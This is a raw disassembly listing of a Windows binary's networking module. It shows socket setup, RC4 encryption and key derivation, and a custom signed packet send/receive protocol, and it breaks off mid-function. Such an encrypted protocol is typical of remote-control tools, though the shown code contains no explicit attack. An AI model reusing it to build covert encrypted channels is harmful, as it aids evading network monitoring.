--------------------------------------------------------------------------- loc_443558: ; CODE XREF: sub_44354B+2Cj dec dword_411000 mov eax, dword_411000 push dword_4128A4[eax*4] call sub_443397 pop ecx loc_443570: ; CODE XREF: sub_44354B+Bj cmp dword_411000, 0 jnz short loc_443558 jmp short loc_4435EC ; --------------------------------------------------------------------------- loc_44357B: ; CODE XREF: sub_44354B+ADj push 401h call sub_443369 pop ecx mov edx, dword_411000 mov dword_4128A4[edx*4], eax cmp byte ptr [ebx], 22h jnz short loc_44359F inc ebx mov [ebp+var_1], 22h jmp short loc_4435A3 ; --------------------------------------------------------------------------- loc_44359F: ; CODE XREF: sub_44354B+4Bj mov [ebp+var_1], 20h loc_4435A3: ; CODE XREF: sub_44354B+52j and [ebp+var_8], 0 mov eax, dword_411000 lea edx, [eax+1] mov dword_411000, edx mov esi, dword_4128A4[eax*4] jmp short loc_4435C4 ; --------------------------------------------------------------------------- loc_4435BE: ; CODE XREF: sub_44354B+8Bj mov al, [ebx] mov [esi], al inc esi inc ebx loc_4435C4: ; CODE XREF: sub_44354B+71j mov al, [ebx] test al, al jz short loc_4435D8 cmp al, [ebp+var_1] jz short loc_4435D8 cmp [ebp+var_8], 400h jl short loc_4435BE loc_4435D8: ; CODE XREF: sub_44354B+7Dj ; sub_44354B+82j cmp [ebp+var_1], 22h jnz short loc_4435E7 cmp byte ptr [ebx], 22h jnz short loc_4435E7 inc ebx jmp short loc_4435E7 ; --------------------------------------------------------------------------- loc_4435E6: ; CODE XREF: sub_44354B+9Fj inc ebx loc_4435E7: ; CODE XREF: sub_44354B+91j ; sub_44354B+96j ... cmp byte ptr [ebx], 20h jz short loc_4435E6 loc_4435EC: ; CODE XREF: sub_44354B+2Ej cmp byte ptr [ebx], 0 jz short loc_4435FA cmp dword_411000, 20h jl short loc_44357B loc_4435FA: ; CODE XREF: sub_44354B+A4j mov eax, dword_411000 and dword_4128A4[eax*4], 0 pop esi pop ebx mov esp, ebp pop ebp retn sub_44354B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44360D proc near ; CODE XREF: sub_448AD1+256p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h push ebx push esi mov bx, 2 lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_44908F mov esi, eax test esi, esi jz short loc_44365D mov bx, 101h lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_44908F mov esi, eax test esi, esi jz short loc_443650 xor eax, eax jmp short loc_44366B ; --------------------------------------------------------------------------- loc_443650: ; CODE XREF: sub_44360D+3Dj push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n" call nullsub_4 pop ecx jmp short loc_443668 ; --------------------------------------------------------------------------- loc_44365D: ; CODE XREF: sub_44360D+23j push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n" call nullsub_4 pop ecx loc_443668: ; CODE XREF: sub_44360D+4Ej xor eax, eax inc eax loc_44366B: ; CODE XREF: sub_44360D+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_44360D endp ; --------------------------------------------------------------------------- call sub_449095 xor eax, eax inc eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44367A proc near ; CODE XREF: sub_444BB7+BDp ; DMN1:0044603Cp ... var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_44909B mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_443698 xor eax, eax jmp short loc_4436EE ; --------------------------------------------------------------------------- loc_443698: ; CODE XREF: sub_44367A+18j mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1005h push 0FFFFh push ebx call sub_4490A1 mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1006h push 0FFFFh push ebx call sub_4490A1 mov [ebp+var_4], 1 push 4 lea eax, [ebp+var_4] push eax push 8 push 0FFFFh push ebx call sub_4490A1 mov eax, ebx loc_4436EE: ; CODE XREF: sub_44367A+1Cj pop ebx mov esp, ebp pop ebp retn sub_44367A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_44909B mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_443711 xor eax, eax jmp short loc_443772 ; --------------------------------------------------------------------------- loc_443711: ; CODE XREF: DMN1:0044370Bj imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_4490A1 imul eax, [ebp+8], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_4490A1 xor eax, eax cmp dword ptr [ebp+10h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_4490A1 mov eax, ebx loc_443772: ; CODE XREF: DMN1:0044370Fj pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+8] imul eax, [ebp+10h], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_4490A1 imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_4490A1 xor eax, eax cmp dword ptr [ebp+14h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_4490A1 pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4437E3 proc near ; CODE XREF: sub_4448CA+15Dp ; sub_4448CA+1B4p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4490A7 xor eax, eax inc eax retn sub_4437E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4437F0 proc near ; CODE XREF: DMN1:00446B55p ; DMN1:00446BCFp var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi mov ebx, [ebp+arg_0] and [ebp+var_10C], 0 and [ebp+var_108], 0 and [ebp+var_104], 0 cmp [ebp+var_104], 40h jnb short loc_443832 mov eax, [ebp+var_104] lea edx, [eax+1] mov [ebp+var_104], edx mov [ebp+eax*4+var_100], ebx loc_443832: ; CODE XREF: sub_4437F0+2Aj lea eax, [ebp+var_10C] push eax push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_4490AD mov esi, eax cmp eax, 0FFFFFFFFh jz short loc_44385D test esi, esi jnz short loc_44385A xor eax, eax jmp short loc_44385D ; --------------------------------------------------------------------------- loc_44385A: ; CODE XREF: sub_4437F0+64j xor eax, eax inc eax loc_44385D: ; CODE XREF: sub_4437F0+60j ; sub_4437F0+68j pop esi pop ebx mov esp, ebp pop ebp retn sub_4437F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443863 proc near ; CODE XREF: sub_444883+13p ; sub_4448CA+1F5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call sub_4490B3 mov ebx, eax cmp eax, 0FFFFFFFFh jz short loc_443883 mov eax, [ebp+var_4] loc_443883: ; CODE XREF: sub_443863+1Bj pop ebx mov esp, ebp pop ebp retn sub_443863 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443888 proc near ; CODE XREF: sub_4448CA+14Ep ; sub_444BB7+DBp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_4490B9 mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_4490BF cmp eax, 0FFFFFFFFh jnz short loc_4438D0 xor eax, eax jmp short loc_4438D3 ; --------------------------------------------------------------------------- loc_4438D0: ; CODE XREF: sub_443888+42j xor eax, eax inc eax loc_4438D3: ; CODE XREF: sub_443888+46j pop ebx mov esp, ebp pop ebp retn sub_443888 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4438D8 proc near ; CODE XREF: DMN1:00446D98p ; DMN1:00448101p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_4490B9 mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_4490C5 cmp eax, 0FFFFFFFFh jnz short loc_443920 xor eax, eax jmp short loc_443923 ; --------------------------------------------------------------------------- loc_443920: ; CODE XREF: sub_4438D8+42j xor eax, eax inc eax loc_443923: ; CODE XREF: sub_4438D8+46j pop ebx mov esp, ebp pop ebp retn sub_4438D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443928 proc near ; CODE XREF: DMN1:00446F18p ; DMN1:0044811Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 5 push [ebp+arg_0] call sub_4490CB test eax, eax jge short loc_44393D xor eax, eax jmp short loc_443940 ; --------------------------------------------------------------------------- loc_44393D: ; CODE XREF: sub_443928+Fj xor eax, eax inc eax loc_443940: ; CODE XREF: sub_443928+13j pop ebp retn sub_443928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443942 proc near ; CODE XREF: DMN1:00448139p var_14 = dword ptr -14h var_10 = word ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp+var_10] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea esi, [ebp+var_10] lea eax, [ebp+var_14] push eax push esi push [ebp+arg_0] call sub_4490D1 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_443985 xor eax, eax jmp short loc_443987 ; --------------------------------------------------------------------------- loc_443985: ; CODE XREF: sub_443942+3Dj mov eax, ebx loc_443987: ; CODE XREF: sub_443942+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_443942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44398D proc near ; CODE XREF: DMN1:00446F30p var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] and dword ptr [edx], 0 mov word ptr [ebx], 0 push 10h push 0 lea eax, [ebp+var_10] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea edi, [ebp+var_10] lea eax, [ebp+var_14] push eax push edi push [ebp+arg_0] call sub_4490D1 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4439DF xor eax, eax jmp short loc_4439F6 ; --------------------------------------------------------------------------- loc_4439DF: ; CODE XREF: sub_44398D+4Cj mov edx, [ebp+arg_4] mov eax, [ebp+var_C] mov [edx], eax movzx eax, [ebp+var_E] push eax call sub_4490D7 mov [ebx], ax mov eax, esi loc_4439F6: ; CODE XREF: sub_44398D+50j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44398D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4439FD proc near ; CODE XREF: sub_443ECD+44p ; sub_443ECD+A3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_443A28 ; --------------------------------------------------------------------------- loc_443A0B: ; CODE XREF: sub_4439FD+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_4490DD mov esi, eax test esi, esi jg short loc_443A24 or eax, 0FFFFFFFFh jmp short loc_443A2F ; --------------------------------------------------------------------------- loc_443A24: ; CODE XREF: sub_4439FD+20j sub edi, esi add ebx, esi loc_443A28: ; CODE XREF: sub_4439FD+Cj test edi, edi jg short loc_443A0B mov eax, [ebp+arg_8] loc_443A2F: ; CODE XREF: sub_4439FD+25j pop edi pop esi pop ebx pop ebp retn sub_4439FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443A34 proc near ; CODE XREF: sub_4448CA+1E3p ; sub_444BB7+149p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_8] mov edi, ebx xor ebx, ebx jmp short loc_443A63 ; --------------------------------------------------------------------------- loc_443A43: ; CODE XREF: sub_443A34+31j push 0 push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_4490DD mov esi, eax test esi, esi jle short loc_443A67 sub edi, esi mov eax, [ebp+arg_4] add eax, esi mov [ebp+arg_4], eax add ebx, esi loc_443A63: ; CODE XREF: sub_443A34+Dj test edi, edi jg short loc_443A43 loc_443A67: ; CODE XREF: sub_443A34+21j mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_443A34 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+10h] mov edi, ebx xor ebx, ebx jmp short loc_443A9D ; --------------------------------------------------------------------------- loc_443A7D: ; CODE XREF: DMN1:00443A9Fj push 0 push ebx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4490DD mov esi, eax test esi, esi jle short loc_443AA1 sub edi, esi mov eax, [ebp+0Ch] add eax, esi mov [ebp+0Ch], eax add ebx, esi loc_443A9D: ; CODE XREF: DMN1:00443A7Bj test edi, edi jg short loc_443A7D loc_443AA1: ; CODE XREF: DMN1:00443A8Fj mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443AA8 proc near ; CODE XREF: sub_443DFB+97p ; sub_4448CA+1A4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_443AD3 ; --------------------------------------------------------------------------- loc_443AB6: ; CODE XREF: sub_443AA8+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_4490E3 mov esi, eax test esi, esi jg short loc_443ACF or eax, 0FFFFFFFFh jmp short loc_443ADA ; --------------------------------------------------------------------------- loc_443ACF: ; CODE XREF: sub_443AA8+20j sub edi, esi add ebx, esi loc_443AD3: ; CODE XREF: sub_443AA8+Cj test edi, edi jg short loc_443AB6 mov eax, [ebp+arg_8] loc_443ADA: ; CODE XREF: sub_443AA8+25j pop edi pop esi pop ebx pop ebp retn sub_443AA8 endp ; =============== S U B R O U T I N E ======================================= sub_443ADF proc near ; CODE XREF: DMN1:00443BA3p ; DMN1:00445F90p ... arg_0 = dword ptr 4 push ebx push esi xor esi, esi push [esp+8+arg_0] call sub_4490E9 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_443B13 push [esp+8+arg_0] call sub_4490EF mov esi, eax test esi, esi jnz short loc_443B0A or eax, 0FFFFFFFFh jmp short loc_443B15 ; --------------------------------------------------------------------------- loc_443B0A: ; CODE XREF: sub_443ADF+24j mov eax, [esi+0Ch] mov eax, [eax] mov eax, [eax] jmp short loc_443B15 ; --------------------------------------------------------------------------- loc_443B13: ; CODE XREF: sub_443ADF+15j mov eax, ebx loc_443B15: ; CODE XREF: sub_443ADF+29j ; sub_443ADF+32j pop esi pop ebx retn sub_443ADF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp-10h] push eax call sub_4499B1 add esp, 0Ch mov word ptr [ebp-10h], 2 mov dword ptr [ebp-14h], 10h lea ebx, [ebp-10h] lea eax, [ebp-14h] push eax push ebx push dword ptr [ebp+8] call sub_4490F5 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_443B58 xor eax, eax jmp short loc_443B73 ; --------------------------------------------------------------------------- loc_443B58: ; CODE XREF: DMN1:00443B52j mov edx, [ebp+0Ch] mov eax, [ebp-0Ch] mov [edx], eax movzx eax, word ptr [ebp-0Eh] push eax call sub_4490D7 mov edx, [ebp+10h] mov [edx], ax xor eax, eax inc eax loc_443B73: ; CODE XREF: DMN1:00443B56j pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h push ebx push esi mov byte ptr [ebp-400h], 0 push 400h lea eax, [ebp-400h] push eax call sub_4490FB lea eax, [ebp-400h] push eax call sub_443ADF pop ecx mov ebx, eax mov [ebp-404h], ebx mov eax, [ebp-404h] push eax call sub_449101 mov esi, eax push esi lea eax, [ebp-400h] push eax push offset aSIsS ; "%s is %s\n" call nullsub_4 add esp, 0Ch mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443BDC proc near ; CODE XREF: sub_443D76+14p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edx, [ebp+arg_0] and dword ptr [edx+400h], 0 mov edx, [ebp+arg_0] and dword ptr [edx+404h], 0 mov ebx, [ebp+arg_0] xor ecx, ecx loc_443BFE: ; CODE XREF: sub_443BDC+2Cj mov [ebx+ecx*4], ecx inc ecx cmp ecx, 100h jl short loc_443BFE and [ebp+var_8], 0 xor edi, edi xor ecx, ecx loc_443C12: ; CODE XREF: sub_443BDC+77j lea eax, [ebx+ecx*4] mov [ebp+var_C], eax mov edx, [eax] mov [ebp+var_4], edx add edx, edi mov esi, [ebp+var_8] mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+esi] add eax, edx movzx edi, al mov eax, [ebx+edi*4] mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_4] mov [ebx+edi*4], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax cmp eax, [ebp+arg_8] jl short loc_443C4C and [ebp+var_8], 0 loc_443C4C: ; CODE XREF: sub_443BDC+6Aj inc ecx cmp ecx, 100h jl short loc_443C12 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443BDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443C5C proc near ; CODE XREF: sub_443DFB+86p ; sub_443ECD+71p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov eax, [ebp+arg_0] mov ebx, [eax+400h] mov edi, [eax+404h] mov ecx, eax and [ebp+var_8], 0 jmp short loc_443CC3 ; --------------------------------------------------------------------------- loc_443C7C: ; CODE XREF: sub_443C5C+6Dj lea eax, [ebx+1] movzx ebx, al lea eax, [ecx+ebx*4] mov edx, [eax] mov [ebp+var_4], edx add edx, edi movzx edi, dl mov edx, [ecx+edi*4] mov [ebp+var_C], edx mov [eax], edx mov eax, [ebp+var_4] mov [ecx+edi*4], eax mov eax, [ebp+var_8] mov edx, [ebp+arg_4] add eax, edx mov [ebp+var_10], eax movsx edx, byte ptr [eax] mov esi, [ebp+var_4] mov eax, [ebp+var_C] add eax, esi movzx eax, al xor edx, [ecx+eax*4] mov al, dl mov edx, [ebp+var_10] mov [edx], al inc [ebp+var_8] loc_443CC3: ; CODE XREF: sub_443C5C+1Ej mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jl short loc_443C7C mov edx, [ebp+arg_0] mov [edx+400h], ebx mov edx, [ebp+arg_0] mov [edx+404h], edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443C5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443CE4 proc near ; CODE XREF: DMN1:0044604Fp var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push 474h call sub_443369 pop ecx mov esi, eax push 10020h call sub_443369 pop ecx mov [esi+46Ch], eax mov [ebp+var_1], 5Ah xor ebx, ebx loc_443D0E: ; CODE XREF: sub_443CE4+3Fj mov al, [ebp+var_1] mov [esi+ebx+4], al movsx eax, [ebp+var_1] lea eax, [ebx+eax*2] mov [ebp+var_1], al inc ebx cmp ebx, 40h jl short loc_443D0E mov [ebp+var_1], 0A5h xor ebx, ebx loc_443D2B: ; CODE XREF: sub_443CE4+5Dj mov al, [ebp+var_1] mov [esi+ebx+44h], al movsx eax, [ebp+var_1] add eax, eax sub eax, ebx mov [ebp+var_1], al inc ebx cmp ebx, 20h jl short loc_443D2B mov eax, [ebp+arg_0] mov [esi], eax mov eax, [esi+46Ch] mov [esi+470h], eax mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_443CE4 endp ; =============== S U B R O U T I N E ======================================= sub_443D5C proc near ; CODE XREF: DMN1:004462DFp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push dword ptr [ebx+46Ch] call sub_443397 pop ecx push ebx call sub_443397 pop ecx pop ebx retn sub_443D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443D76 proc near ; CODE XREF: sub_443DFB+27p ; sub_443ECD+36p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] push 40h lea eax, [ebx+4] push eax lea eax, [ebx+64h] push eax call sub_443BDC add esp, 0Ch mov al, [ebx+4] mov [ebp+var_1], al push 3Fh lea eax, [ebx+5] push eax lea eax, [ebx+4] push eax call sub_449A11 add esp, 0Ch mov al, [ebp+var_1] mov [ebx+43h], al xor esi, esi xor edi, edi jmp short loc_443DCE ; --------------------------------------------------------------------------- loc_443DB6: ; CODE XREF: sub_443D76+5Bj lea eax, [ebx+esi+4] mov dl, [ebx+edi+44h] add [eax], dl lea eax, [edi+1] mov ecx, 20h cdq idiv ecx mov edi, edx inc esi loc_443DCE: ; CODE XREF: sub_443D76+3Ej cmp esi, 40h jl short loc_443DB6 mov al, [ebx+63h] mov [ebp+var_1], al mov esi, 1Fh loc_443DDE: ; CODE XREF: sub_443D76+76j lea eax, [esi-1] mov al, [ebx+eax+44h] mov [ebx+esi+44h], al dec esi test esi, esi jg short loc_443DDE mov al, [ebp+var_1] mov [ebx+44h], al pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443D76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443DFB proc near ; CODE XREF: sub_443EB0+13p ; sub_444097+8Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_C] test esi, esi jl short loc_443E14 cmp esi, 0FFFFh jle short loc_443E1B loc_443E14: ; CODE XREF: sub_443DFB+Fj xor eax, eax jmp loc_443EA9 ; --------------------------------------------------------------------------- loc_443E1B: ; CODE XREF: sub_443DFB+17j cmp [ebp+arg_10], 0 jz short loc_443E28 push ebx call sub_443D76 pop ecx loc_443E28: ; CODE XREF: sub_443DFB+24j mov edi, [ebx+46Ch] mov word ptr [edi], 29Ah add edi, 2 mov ax, [ebp+arg_4] mov [edi], ax add edi, 2 mov ax, si mov [edi], ax add edi, 2 test esi, esi jz short loc_443E5A push esi push [ebp+arg_8] push edi call sub_449A11 add esp, 0Ch loc_443E5A: ; CODE XREF: sub_443DFB+50j add esi, 6 push esi movzx eax, [ebp+arg_4] push eax push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n" call nullsub_4 add esp, 0Ch cmp [ebp+arg_10], 0 jz short loc_443E89 push esi push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_443C5C add esp, 0Ch loc_443E89: ; CODE XREF: sub_443DFB+79j push esi push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_443AA8 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], esi jge short loc_443EA6 xor eax, eax jmp short loc_443EA9 ; --------------------------------------------------------------------------- loc_443EA6: ; CODE XREF: sub_443DFB+A5j xor eax, eax inc eax loc_443EA9: ; CODE XREF: sub_443DFB+1Bj ; sub_443DFB+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443DFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443EB0 proc near ; CODE XREF: DMN1:00444268p ; DMN1:0044616Bp arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] movzx eax, [ebp+arg_4] push eax push [ebp+arg_0] call sub_443DFB add esp, 14h pop ebp retn sub_443EB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443ECD proc near ; CODE XREF: sub_44407C+11p ; DMN1:00444156p var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_10] mov edx, [ebp+arg_4] mov word ptr [edx], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_C] test eax, eax jl short loc_443EF6 cmp eax, 0FFFFh jle short loc_443EFE loc_443EF6: ; CODE XREF: sub_443ECD+20j or eax, 0FFFFFFFFh jmp loc_444075 ; --------------------------------------------------------------------------- loc_443EFE: ; CODE XREF: sub_443ECD+27j test esi, esi jz short loc_443F09 push ebx call sub_443D76 pop ecx loc_443F09: ; CODE XREF: sub_443ECD+33j push 2 lea eax, [ebp+var_6] push eax push dword ptr [ebx] call sub_4439FD add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_443F30 mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_444075 ; --------------------------------------------------------------------------- loc_443F30: ; CODE XREF: sub_443ECD+51j test esi, esi jz short loc_443F46 push 2 lea eax, [ebp+var_6] push eax lea eax, [ebx+64h] push eax call sub_443C5C add esp, 0Ch loc_443F46: ; CODE XREF: sub_443ECD+65j cmp [ebp+var_6], 29Ah jz short loc_443F69 movzx eax, [ebp+var_6] push eax push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n" call nullsub_4 pop ecx pop ecx mov eax, 0FFFFFFFEh jmp loc_444075 ; --------------------------------------------------------------------------- loc_443F69: ; CODE XREF: sub_443ECD+7Fj push 2 push [ebp+arg_4] push dword ptr [ebx] call sub_4439FD add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_443F8F mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_444075 ; --------------------------------------------------------------------------- loc_443F8F: ; CODE XREF: sub_443ECD+B0j test esi, esi jz short loc_443FA4 push 2 push [ebp+arg_4] lea eax, [ebx+64h] push eax call sub_443C5C add esp, 0Ch loc_443FA4: ; CODE XREF: sub_443ECD+C4j mov eax, [ebp+arg_4] movzx eax, word ptr [eax] push eax push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n" call nullsub_4 pop ecx pop ecx push 2 lea eax, [ebp+var_4] push eax push dword ptr [ebx] call sub_4439FD add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_443FDE mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_444075 ; --------------------------------------------------------------------------- loc_443FDE: ; CODE XREF: sub_443ECD+FFj test esi, esi jz short loc_443FF4 push 2 lea eax, [ebp+var_4] push eax lea eax, [ebx+64h] push eax call sub_443C5C add esp, 0Ch loc_443FF4: ; CODE XREF: sub_443ECD+113j push [ebp+arg_C] push [ebp+var_4] push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n" call nullsub_4 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_44402C push [ebp+var_4] push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_4439FD add esp, 0Ch mov edi, eax cmp edi, [ebp+var_4] jge short loc_44402C or eax, 0FFFFFFFFh jmp short loc_444075 ; --------------------------------------------------------------------------- loc_44402C: ; CODE XREF: sub_443ECD+13Ej ; sub_443ECD+158j test esi, esi jz short loc_444045 push [ebp+var_4] push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_443C5C add esp, 0Ch loc_444045: ; CODE XREF: sub_443ECD+161j cmp [ebp+arg_8], 0 jz short loc_444072 mov eax, [ebp+arg_C] cmp [ebp+var_4], eax jle short loc_444059 mov eax, [ebp+arg_C] mov [ebp+var_4], eax loc_444059: ; CODE XREF: sub_443ECD+184j mov eax, [ebp+var_4] test eax, eax jz short loc_444072 